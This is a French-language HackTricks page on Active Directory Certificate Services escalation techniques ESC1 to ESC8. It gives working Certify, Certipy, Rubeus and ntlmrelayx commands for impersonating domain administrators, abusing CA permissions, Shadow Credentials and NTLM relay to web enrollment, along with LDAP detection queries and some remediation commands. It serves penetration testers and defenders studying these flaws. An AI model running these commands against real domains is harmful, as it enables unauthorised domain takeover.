Escalade de domaine AD CS
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- VĂ©rifiez les plans dâabonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Ceci est un rĂ©sumĂ© des sections de techniques dâescalade des posts :
- https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf
- https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7
- https://github.com/ly4k/Certipy
ModÚles de certificats mal configurés - ESC1
Explication
ModÚles de certificats mal configurés - ESC1 expliqué
- Les droits dâenrĂŽlement sont accordĂ©s aux utilisateurs peu privilĂ©giĂ©s par la CA dâentreprise.
- Lâapprobation dâun manager nâest pas requise.
- Aucune signature de personnel autorisĂ© nâest nĂ©cessaire.
- Les descripteurs de sĂ©curitĂ© des modĂšles de certificats sont trop permissifs, permettant aux utilisateurs peu privilĂ©giĂ©s dâobtenir des droits dâenrĂŽlement.
- Les modĂšles de certificats sont configurĂ©s pour dĂ©finir des EKU qui facilitent lâauthentification :
- Extended Key Usage (EKU) identifiers such as Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), or no EKU (SubCA) are included.
- La possibilitĂ© pour les demandeurs dâinclure un subjectAltName dans le Certificate Signing Request (CSR) est autorisĂ©e par le modĂšle :
- Active Directory (AD) priorise le subjectAltName (SAN) dans un certificat pour la vĂ©rification dâidentitĂ© sâil est prĂ©sent. Cela signifie quâen spĂ©cifiant le SAN dans un CSR, un certificat peut ĂȘtre demandĂ© pour usurper nâimporte quel utilisateur (par ex., un administrateur de domaine). La possibilitĂ© de spĂ©cifier un SAN par le demandeur est indiquĂ©e dans lâobjet AD du modĂšle de certificat via la propriĂ©tĂ©
mspki-certificate-name-flag. Cette propriété est un bitmask, et la présence du flagCT_FLAG_ENROLLEE_SUPPLIES_SUBJECTpermet la spécification du SAN par le demandeur.
Caution
La configuration dĂ©crite permet aux utilisateurs peu privilĂ©giĂ©s de demander des certificats avec nâimporte quel SAN, autorisant lâauthentification en tant que nâimporte quel principal du domaine via Kerberos ou SChannel.
Cette fonctionnalité est parfois activée pour permettre la génération à la volée de certificats HTTPS ou de certificats de serveurs par des produits ou des services de déploiement, ou par manque de compréhension.
Il est Ă noter que la crĂ©ation dâun certificat avec cette option gĂ©nĂšre un avertissement, ce qui nâest pas le cas lorsquâun modĂšle de certificat existant (comme le modĂšle WebServer, qui a CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT activĂ©) est dupliquĂ© puis modifiĂ© pour inclure un OID dâauthentification.
Abus
Pour trouver les modÚles de certificats vulnérables vous pouvez exécuter :
Certify.exe find /vulnerable
certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128
Pour abuser de cette vulnérabilité afin de se faire passer pour un administrateur, on pourrait exécuter :
# Impersonate by setting SAN to a target principal (UPN or sAMAccountName)
Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator@corp.local
# Optionally pin the target's SID into the request (post-2022 SID mapping aware)
Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator /sid:S-1-5-21-1111111111-2222222222-3333333333-500
# Some CAs accept an otherName/URL SAN attribute carrying the SID value as well
Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator \
/url:tag:microsoft.com,2022-09-14:sid:S-1-5-21-1111111111-2222222222-3333333333-500
# Certipy equivalent
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' \
-template 'ESC1' -upn 'administrator@corp.local'
Vous pouvez ensuite convertir le certificat gĂ©nĂ©rĂ© au format .pfx et lâutiliser pour vous authentifier avec Rubeus ou certipy Ă nouveau :
Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
Les binaires Windows âCertreq.exeâ et âCertutil.exeâ peuvent ĂȘtre utilisĂ©s pour gĂ©nĂ©rer le PFX : https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
LâĂ©numĂ©ration des modĂšles de certificats dans le schĂ©ma de configuration de la forĂȘt AD, en particulier ceux qui ne nĂ©cessitent pas dâapprobation ou de signatures, possĂ©dant une EKU Client Authentication ou Smart Card Logon, et avec le drapeau CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT activĂ©, peut ĂȘtre effectuĂ©e en exĂ©cutant la requĂȘte LDAP suivante :
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
ModÚles de certificats mal configurés - ESC2
Explication
- Les droits dâenrĂŽlement sont accordĂ©s Ă des utilisateurs Ă faibles privilĂšges par lâEnterprise CA.
- Lâexigence dâune approbation par un manager est dĂ©sactivĂ©e.
- La nécessité de signatures autorisées est omise.
- Un descripteur de sĂ©curitĂ© excessivement permissif sur le modĂšle de certificat accorde les droits dâenrĂŽlement de certificats Ă des utilisateurs Ă faibles privilĂšges.
- Le modÚle de certificat est défini pour inclure le Any Purpose EKU ou aucun EKU.
Le Any Purpose EKU permet Ă un attaquant dâobtenir un certificat pour nâimporte quel usage, y compris lâauthentification client, lâauthentification serveur, la signature de code, etc. La mĂȘme technique utilisĂ©e pour ESC3 peut ĂȘtre employĂ©e pour exploiter ce scĂ©nario.
Les certificats sans EKUs, qui agissent comme des certificats de CA subordonnĂ©e, peuvent ĂȘtre exploitĂ©s pour nâimporte quel usage et peuvent Ă©galement ĂȘtre utilisĂ©s pour signer de nouveaux certificats. Ainsi, un attaquant pourrait spĂ©cifier des EKUs arbitraires ou des champs dans les nouveaux certificats en utilisant un certificat de CA subordonnĂ©e.
Toutefois, les nouveaux certificats créés pour lâauthentification de domaine ne fonctionneront pas si la CA subordonnĂ©e nâest pas approuvĂ©e par lâobjet NTAuthCertificates, ce qui est le paramĂštre par dĂ©faut. NĂ©anmoins, un attaquant peut toujours crĂ©er des nouveaux certificats avec nâimporte quel EKU et des valeurs de certificat arbitraires. Ceux-ci pourraient ĂȘtre potentiellement abusĂ©s pour une grande variĂ©tĂ© dâusages (par ex. signature de code, authentification serveur, etc.) et pourraient avoir des consĂ©quences importantes pour dâautres applications du rĂ©seau comme SAML, AD FS ou IPSec.
Pour Ă©numĂ©rer les modĂšles correspondant Ă ce scĂ©nario dans le schĂ©ma de configuration de la forĂȘt AD, la requĂȘte LDAP suivante peut ĂȘtre exĂ©cutĂ©e :
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))
ModÚles Enrolment Agent mal configurés - ESC3
Explication
Ce scĂ©nario ressemble au premier et au deuxiĂšme mais en abusant dâun EKU diffĂ©rent (Certificate Request Agent) et de 2 modĂšles diffĂ©rents (il y a donc 2 ensembles dâexigences),
Le Certificate Request Agent EKU (OID 1.3.6.1.4.1.311.20.2.1), connu sous le nom Enrollment Agent dans la documentation Microsoft, permet Ă un principal de obtenir un certificat au nom dâun autre utilisateur.
Lâ« enrollment agent » sâenregistre dans un tel modĂšle et utilise le certificat rĂ©sultant pour cosigner une CSR au nom de lâautre utilisateur. Il envoie ensuite la CSR cosignĂ©e Ă la CA, sâenregistrant dans un modĂšle qui permet « dâenregistrer au nom de », et la CA renvoie un certificat appartenant Ă lâ« autre » utilisateur.
Exigences 1:
- Les droits dâenrĂŽlement sont accordĂ©s Ă des utilisateurs Ă faibles privilĂšges par la CA dâentreprise.
- Lâexigence dâapprobation du responsable est omise.
- Aucune exigence de signatures autorisées.
- Le descripteur de sĂ©curitĂ© du modĂšle de certificat est excessivement permissif, accordant des droits dâenrĂŽlement Ă des utilisateurs Ă faibles privilĂšges.
- Le modĂšle de certificat inclut le Certificate Request Agent EKU, permettant la demande dâautres modĂšles de certificats au nom dâautres principaux.
Exigences 2:
- La CA dâentreprise accorde des droits dâenrĂŽlement Ă des utilisateurs Ă faibles privilĂšges.
- Lâapprobation du responsable est contournĂ©e.
- La version du schéma du modÚle est soit 1 soit supérieure à 2, et il spécifie une Application Policy Issuance Requirement qui nécessite le Certificate Request Agent EKU.
- Un EKU dĂ©fini dans le modĂšle de certificat permet lâauthentification de domaine.
- Les restrictions pour les enrollment agents ne sont pas appliquées sur la CA.
Abus
Vous pouvez utiliser Certify ou Certipy pour abuser de ce scénario :
# Request an enrollment agent certificate
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:Vuln-EnrollmentAgent
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local' -ca 'corp-CA' -template 'templateName'
# Enrollment agent certificate to issue a certificate request on behalf of
# another user to a template that allow for domain authentication
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:User /onbehalfof:CORP\itadmin /enrollment:enrollmentcert.pfx /enrollcertpwd:asdf
certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'
# Use Rubeus with the certificate to authenticate as the other user
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
Les utilisateurs autorisĂ©s Ă obtenir un enrollment agent certificate, les modĂšles dans lesquels les enrollment agents sont autorisĂ©s Ă sâenregistrer, et les comptes au nom desquels lâenrollment agent peut agir peuvent ĂȘtre restreints par les CA dâentreprise. Cela se fait en ouvrant le snap-in certsrc.msc, en cliquant droit sur la CA, en cliquant sur Properties, puis en naviguant vers lâonglet « Enrollment Agents ».
Cependant, il est Ă noter que le paramĂštre par dĂ©faut des CA est « Do not restrict enrollment agents ». Lorsque la restriction des agents dâenrĂŽlement est activĂ©e par les administrateurs, en la rĂ©glant sur « Restrict enrollment agents », la configuration par dĂ©faut reste extrĂȘmement permissive. Elle permet Ă Everyone de sâenregistrer sur tous les modĂšles en tant que nâimporte qui.
ContrĂŽle dâaccĂšs des modĂšles de certificats vulnĂ©rable - ESC4
Explication
Le security descriptor des certificate templates définit les permissions que possÚdent les AD principals concernant le modÚle.
Si un attacker possĂšde les permissions requises pour modifier un template et instaurer des misconfigurations exploitables dĂ©crites dans les sections prĂ©cĂ©dentes, une Ă©lĂ©vation de privilĂšges pourrait ĂȘtre facilitĂ©e.
Les permissions notables applicables aux certificate templates incluent :
- Owner: Accorde un contrĂŽle implicite sur lâobjet, permettant la modification de nâimporte quel attribut.
- FullControl: Permet une autoritĂ© complĂšte sur lâobjet, y compris la capacitĂ© de modifier nâimporte quel attribut.
- WriteOwner: Autorise la modification du propriĂ©taire de lâobjet vers un principal sous le contrĂŽle de lâattacker.
- WriteDacl: Permet lâajustement des contrĂŽles dâaccĂšs, pouvant potentiellement accorder Ă un attacker le FullControl.
- WriteProperty: Autorise la modification de nâimporte quelle propriĂ©tĂ© de lâobjet.
Abus
Pour identifier les principals ayant des droits dâĂ©dition sur les templates et autres objets PKI, Ă©numĂ©rez avec Certify :
Certify.exe find /showAllPermissions
Certify.exe pkiobjects /domain:corp.local /showAdmins
Un exemple de privesc similaire au précédent :
.png)
ESC4 correspond Ă un cas oĂč un utilisateur possĂšde des droits dâĂ©criture sur un modĂšle de certificat. Cela peut, par exemple, ĂȘtre abusĂ© pour Ă©craser la configuration du modĂšle de certificat afin de rendre le modĂšle vulnĂ©rable Ă ESC1.
Comme on peut le voir dans le chemin ciâdessus, seul JOHNPC possĂšde ces privilĂšges, mais notre utilisateur JOHN a le nouveau lien AddKeyCredentialLink vers JOHNPC. Puisque cette technique est liĂ©e aux certificats, jâai Ă©galement implĂ©mentĂ© cette attaque, connue sous le nom de Shadow Credentials. Voici un petit aperçu de la commande shadow auto de Certipy pour rĂ©cupĂ©rer le NT hash de la victime.
certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
Certipy peut Ă©craser la configuration dâun modĂšle de certificat avec une seule commande. Par dĂ©faut, Certipy va Ă©craser la configuration pour la rendre vulnĂ©rable Ă ESC1. Nous pouvons aussi spĂ©cifier le paramĂštre -save-old pour sauvegarder lâancienne configuration, ce qui sera utile pour restaurer la configuration aprĂšs notre attaque.
# Make template vuln to ESC1
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
# Exploit ESC1
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC4-Test -upn administrator@corp.local
# Restore config
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json
Vulnerable PKI Object Access Control - ESC5
Explication
LâĂ©tendue des relations interconnectĂ©es basĂ©es sur les ACL, qui inclut plusieurs objets au-delĂ des certificate templates et de la certificate authority, peut affecter la sĂ©curitĂ© de lâensemble du systĂšme AD CS. Ces objets, qui peuvent avoir un impact significatif sur la sĂ©curitĂ©, comprennent :
- LâAD computer object du serveur CA, qui peut ĂȘtre compromis via des mĂ©canismes comme S4U2Self ou S4U2Proxy.
- Le RPC/DCOM server du serveur CA.
- Tout AD object descendant ou container situé dans le chemin de container spécifique
CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>. Ce chemin inclut, sans sây limiter, des containers et objets tels que le Certificate Templates container, le Certification Authorities container, lâobjet NTAuthCertificates, et lâEnrollment Services Container.
La sĂ©curitĂ© du systĂšme PKI peut ĂȘtre compromise si un attaquant Ă faibles privilĂšges parvient Ă prendre le contrĂŽle de lâun de ces composants critiques.
EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6
Explication
Le sujet abordĂ© dans la CQure Academy post traite Ă©galement des implications du flag EDITF_ATTRIBUTESUBJECTALTNAME2, telles que dĂ©crites par Microsoft. Cette configuration, lorsquâelle est activĂ©e sur une Certification Authority (CA), permet lâinclusion de valeurs dĂ©finies par lâutilisateur dans le subject alternative name pour toute requĂȘte, y compris celles construites Ă partir dâActive DirectoryÂź. Par consĂ©quent, cette disposition permet Ă un intrus de sâenregistrer via nâimporte quel template configurĂ© pour lâauthentication de domaine â en particulier ceux ouverts Ă lâenrollment dâutilisateurs non privilĂ©giĂ©s, comme le template User standard. En rĂ©sultat, un certificat peut ĂȘtre dĂ©livrĂ©, permettant Ă lâintrus de sâauthentifier en tant quâadministrateur de domaine ou toute autre entitĂ© active au sein du domaine.
Note : Lâapproche pour ajouter des alternative names dans une Certificate Signing Request (CSR), via lâargument -attrib "SAN:" dans certreq.exe (appelĂ© âName Value Pairsâ), contraste avec la stratĂ©gie dâexploitation des SANs dĂ©crite en ESC1. Ici, la distinction rĂ©side dans la maniĂšre dont les informations de compte sont encapsulĂ©es â au sein dâun attribut de certificat, plutĂŽt que dans une extension.
Abus
Pour vérifier si le paramÚtre est activé, les organisations peuvent utiliser la commande suivante avec certutil.exe :
certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"
Cette opĂ©ration utilise essentiellement remote registry access, donc une approche alternative pourrait ĂȘtre :
reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags
Des outils comme Certify et Certipy sont capables de dĂ©tecter cette mauvaise configuration et de lâexploiter :
# Detect vulnerabilities, including this one
Certify.exe find
# Exploit vulnerability
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local
Pour modifier ces paramĂštres, en supposant que lâon possĂšde les droits dâadministrateur de domaine ou lâĂ©quivalent, la commande suivante peut ĂȘtre exĂ©cutĂ©e depuis nâimporte quel poste de travail :
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
Pour dĂ©sactiver cette configuration dans votre environnement, le flag peut ĂȘtre supprimĂ© avec :
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
Warning
AprĂšs les mises Ă jour de sĂ©curitĂ© de mai 2022, les certificates nouvellement Ă©mis contiendront une security extension qui incorpore la requesterâs
objectSidproperty. Pour ESC1, ce SID est dĂ©rivĂ© du SAN spĂ©cifiĂ©. Cependant, pour ESC6, le SID reflĂšte le requesterâsobjectSid, et non le SAN.
Pour exploiter ESC6, il est essentiel que le systÚme soit susceptible à ESC10 (Weak Certificate Mappings), qui privilégie le SAN over the new security extension.
ContrĂŽle dâaccĂšs vulnĂ©rable de la Certificate Authority - ESC7
Attaque 1
Explication
Le contrĂŽle dâaccĂšs dâune Certificate Authority est assurĂ© par un ensemble de permissions qui rĂ©gissent les actions du CA. Ces permissions peuvent ĂȘtre consultĂ©es en ouvrant certsrv.msc, en faisant un clic droit sur une CA, en sĂ©lectionnant PropriĂ©tĂ©s, puis en allant dans lâonglet SĂ©curitĂ©. De plus, les permissions peuvent ĂȘtre Ă©numĂ©rĂ©es Ă lâaide du module PSPKI avec des commandes telles que:
Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access
Cela fournit des informations sur les droits principaux, Ă savoir ManageCA et ManageCertificates, correspondant aux rĂŽles de âCA administratorâ et âCertificate Managerâ respectivement.
Abus
Disposer des droits ManageCA sur une autoritĂ© de certification permet au principal de modifier les paramĂštres Ă distance via PSPKI. Cela inclut le basculement du drapeau EDITF_ATTRIBUTESUBJECTALTNAME2 pour autoriser la spĂ©cification de SAN dans nâimporte quel modĂšle, un aspect critique de lâescalade de domaine.
Ce processus peut ĂȘtre simplifiĂ© en utilisant le cmdlet Enable-PolicyModuleFlag de PSPKI, permettant des modifications sans interaction directe avec la GUI.
La possession des droits ManageCertificates facilite lâapprobation des requĂȘtes en attente, contournant effectivement la protection âCA certificate manager approvalâ.
Une combinaison des modules Certify et PSPKI peut ĂȘtre utilisĂ©e pour demander, approuver et tĂ©lĂ©charger un certificat :
# Request a certificate that will require an approval
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded
[...]
[*] CA Response : The certificate is still pending.
[*] Request ID : 336
[...]
# Use PSPKI module to approve the request
Import-Module PSPKI
Get-CertificationAuthority -ComputerName dc.domain.local | Get-PendingRequest -RequestID 336 | Approve-CertificateRequest
# Download the certificate
Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
Attack 2
Explication
Warning
Dans lâattaque prĂ©cĂ©dente, les permissions
Manage CAont Ă©tĂ© utilisĂ©es pour activer le flag EDITF_ATTRIBUTESUBJECTALTNAME2 afin dâexĂ©cuter lâESC6 attack, mais cela nâaura aucun effet tant que le service CA (CertSvc) nâaura pas Ă©tĂ© redĂ©marrĂ©. Lorsquâun utilisateur possĂšde le droit dâaccĂšsManage CA, il est Ă©galement autorisĂ© Ă redĂ©marrer le service. Cependant, cela ne signifie pas que lâutilisateur peut redĂ©marrer le service Ă distance. De plus, ESC6 pourrait ne pas fonctionner immĂ©diatement dans la plupart des environnements patchĂ©s en raison des mises Ă jour de sĂ©curitĂ© de mai 2022.
Par conséquent, une autre attaque est présentée ici.
Prérequis:
- Uniquement la
ManageCApermission - La
Manage Certificatespermission (peut ĂȘtre accordĂ©e depuisManageCA) - Le template de certificat
SubCAdoit ĂȘtre activĂ© (peut ĂȘtre activĂ© depuisManageCA)
La technique repose sur le fait que les utilisateurs disposant des droits dâaccĂšs Manage CA et Manage Certificates peuvent soumettre des demandes de certificats qui Ă©chouent. Le template de certificat SubCA est vulnĂ©rable Ă ESC1, mais seuls les administrateurs peuvent sâinscrire sur ce template. Ainsi, un utilisateur peut demander lâenrĂŽlement dans SubCA â ce qui sera refusĂ© â mais sera ensuite dĂ©livrĂ© par le responsable.
Abus
Vous pouvez vous accorder le droit dâaccĂšs Manage Certificates en ajoutant votre utilisateur en tant que nouvel agent.
certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully added officer 'John' on 'corp-DC-CA'
Le modĂšle SubCA peut ĂȘtre activĂ© sur la CA avec le paramĂštre -enable-template. Par dĂ©faut, le modĂšle SubCA est activĂ©.
# List templates
certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
## If SubCA is not there, you need to enable it
# Enable SubCA
certipy ca -ca 'corp-DC-CA' -enable-template SubCA -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully enabled 'SubCA' on 'corp-DC-CA'
Si nous avons rempli les prérequis pour cette attaque, nous pouvons commencer par demander un certificat basé sur le modÚle SubCA.
Cette requĂȘte sera refusĂ©e, mais nous conserverons la clĂ© privĂ©e et noterons lâID de la requĂȘte.
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 785
Would you like to save the private key? (y/N) y
[*] Saved private key to 785.key
[-] Failed to request certificate
Avec nos Manage CA and Manage Certificates, nous pouvons ensuite émettre la demande de certificat échouée avec la commande ca et le paramÚtre -issue-request <request ID>.
certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully issued certificate
Et enfin, nous pouvons récupérer le certificat émis avec la commande req et le paramÚtre -retrieve <request ID>.
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Rerieving certificate with ID 785
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@corp.local'
[*] Certificate has no object SID
[*] Loaded private key from '785.key'
[*] Saved certificate and private key to 'administrator.pfx'
Attaque 3 â Abus de lâextension Manage Certificates (SetExtension)
Explication
En plus des abus classiques dâESC7 (activation des attributs EDITF ou approbation des requĂȘtes en attente), Certify 2.0 a rĂ©vĂ©lĂ© un nouveau primitive qui ne nĂ©cessite que le rĂŽle Manage Certificates (alias Certificate Manager / Officer) sur la CA dâentreprise.
La mĂ©thode RPC ICertAdmin::SetExtension peut ĂȘtre exĂ©cutĂ©e par nâimporte quel principal disposant de Manage Certificates. Alors que la mĂ©thode Ă©tait traditionnellement utilisĂ©e par les CA lĂ©gitimes pour mettre Ă jour des extensions sur des requĂȘtes en attente, un attaquant peut lâabuser pour ajouter une extension de certificat non-par dĂ©faut (par exemple un OID personnalisĂ© de Certificate Issuance Policy comme 1.1.1.1) Ă une requĂȘte en attente dâapprobation.
Parce que le template ciblĂ© ne dĂ©finit pas de valeur par dĂ©faut pour cette extension, la CA ne remplacera PAS la valeur contrĂŽlĂ©e par lâattaquant lorsque la requĂȘte sera finalement Ă©mise. Le certificat rĂ©sultant contient donc une extension choisie par lâattaquant qui peut :
- Satisfaire les exigences dâApplication / Issuance Policy dâautres templates vulnĂ©rables (conduisant Ă une Ă©lĂ©vation de privilĂšges).
- Injecter des EKU ou des policies supplémentaires accordant au certificat une confiance inattendue dans des systÚmes tiers.
En bref, Manage Certificates â prĂ©cĂ©demment considĂ©rĂ© comme la moitiĂ© « moins puissante » dâESC7 â peut dĂ©sormais ĂȘtre exploitĂ© pour une Ă©lĂ©vation de privilĂšges complĂšte ou une persistance Ă long terme, sans toucher Ă la configuration de la CA ni nĂ©cessiter le droit plus restrictif Manage CA.
Abuser du primitive avec Certify 2.0
- Soumettez une requĂȘte de certificat qui restera en attente. Ceci peut ĂȘtre forcĂ© avec un template qui requiert lâapprobation dâun manager :
Certify.exe request --ca SERVER\\CA-NAME --template SecureUser --subject "CN=User" --manager-approval
# Take note of the returned Request ID
- Ajoutez une extension personnalisĂ©e Ă la requĂȘte en attente en utilisant la nouvelle commande
manage-ca:
Certify.exe manage-ca --ca SERVER\\CA-NAME \
--request-id 1337 \
--set-extension "1.1.1.1=DER,10,01 01 00 00" # fake issuance-policy OID
If the template does not already define the Certificate Issuance Policies extension, the value above will be preserved after issuance.
- Ămettez la requĂȘte (si votre rĂŽle a aussi les droits dâapprobation Manage Certificates) ou attendez quâun opĂ©rateur lâapprouve. Une fois Ă©mise, tĂ©lĂ©chargez le certificat :
Certify.exe request-download --ca SERVER\\CA-NAME --id 1337
- Le certificat obtenu contient maintenant lâOID malveillant de policy dâĂ©mission et peut ĂȘtre utilisĂ© dans des attaques ultĂ©rieures (par ex. ESC13, escalade de domaine, etc.).
NOTE: The same attack can be executed with Certipy â„ 4.7 through the
cacommand and the-set-extensionparameter.
NTLM Relay to AD CS HTTP Endpoints â ESC8
Explication
Tip
Dans des environnements oĂč AD CS est installĂ©, si existe un endpoint dâenrĂŽlement web vulnĂ©rable et quâau moins un template de certificat publiĂ© autorise lâenrĂŽlement des ordinateurs de domaine et lâauthentification client (comme le template par dĂ©faut
Machine), il devient possible que nâimporte quel ordinateur avec le service spooler actif soit compromis par un attaquant !
Plusieurs mĂ©thodes dâenrĂŽlement basĂ©es sur HTTP sont prises en charge par AD CS, rendues disponibles via des rĂŽles de serveur additionnels que les administrateurs peuvent installer. Ces interfaces dâenrĂŽlement HTTP sont vulnĂ©rables aux attaques de relay NTLM. Un attaquant, depuis une machine compromise, peut usurper nâimporte quel compte AD qui sâauthentifie via NTLM entrant. En usurpant le compte victime, ces interfaces web peuvent ĂȘtre utilisĂ©es par un attaquant pour demander un certificat dâauthentification client en utilisant les templates User ou Machine.
- Lâinterface dâenrĂŽlement web (une application ASP plus ancienne disponible Ă
http://<caserver>/certsrv/), fonctionne par dĂ©faut en HTTP uniquement, ce qui nâoffre aucune protection contre les attaques de relay NTLM. De plus, elle nâautorise explicitement que NTLM via son en-tĂȘte Authorization HTTP, rendant les mĂ©thodes dâauthentification plus sĂ©curisĂ©es comme Kerberos inapplicables. - Le Certificate Enrollment Service (CES), le Certificate Enrollment Policy (CEP) Web Service, et le Network Device Enrollment Service (NDES) supportent par dĂ©faut la negotiate authentication via leur en-tĂȘte Authorization HTTP. La negotiate authentication supporte Ă la fois Kerberos et NTLM, permettant Ă un attaquant de dĂ©grader vers NTLM lors dâattaques de relay. Bien que ces services web activent HTTPS par dĂ©faut, HTTPS seul ne protĂšge pas contre les attaques de relay NTLM. La protection contre le relay NTLM pour les services HTTPS nâest possible que lorsque HTTPS est combinĂ© avec le channel binding. Malheureusement, AD CS nâactive pas Extended Protection for Authentication sur IIS, qui est requise pour le channel binding.
Un problĂšme courant des attaques de relay NTLM est la courte durĂ©e des sessions NTLM et lâincapacitĂ© de lâattaquant Ă interagir avec des services qui exigent le signing NTLM.
NĂ©anmoins, cette limitation peut ĂȘtre contournĂ©e en exploitant un relay NTLM pour obtenir un certificat pour lâutilisateur, car la durĂ©e de validitĂ© du certificat dicte la durĂ©e de la session, et le certificat peut ĂȘtre utilisĂ© auprĂšs de services qui exigent le signing NTLM. Pour des instructions sur lâutilisation dâun certificat volĂ©, voir :
Une autre limitation des attaques de relay NTLM est quâune machine contrĂŽlĂ©e par lâattaquant doit ĂȘtre authentifiĂ©e par un compte victime. Lâattaquant peut soit attendre, soit tenter de forcer cette authentification :
Force NTLM Privileged Authentication
Abus
Certifyâs cas Ă©numĂšre les endpoints HTTP AD CS activĂ©s :
Certify.exe cas
.png)
La propriĂ©tĂ© msPKI-Enrollment-Servers est utilisĂ©e par les autoritĂ©s de certification dâentreprise (Certificate Authorities, CAs) pour stocker les endpoints du Certificate Enrollment Service (CES). Ces endpoints peuvent ĂȘtre analysĂ©s et listĂ©s en utilisant lâoutil Certutil.exe :
certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
.png)
.png)
Abus avec Certify
## In the victim machine
# Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine
PortBender redirect 445 8445
rportfwd 8445 127.0.0.1 445
# Prepare a proxy that the attacker can use
socks 1080
## In the attackers
proxychains ntlmrelayx.py -t http://<AC Server IP>/certsrv/certfnsh.asp -smb2support --adcs --no-http-server
# Force authentication from victim to compromised machine with port forwards
execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <compromised>
Abus avec Certipy
Par dĂ©faut, Certipy effectue la demande de certificat en se basant sur le template Machine ou User, dĂ©terminĂ© par le fait que le nom du compte relayĂ© se termine par $. La spĂ©cification dâun template alternatif peut ĂȘtre effectuĂ©e en utilisant le paramĂštre -template.
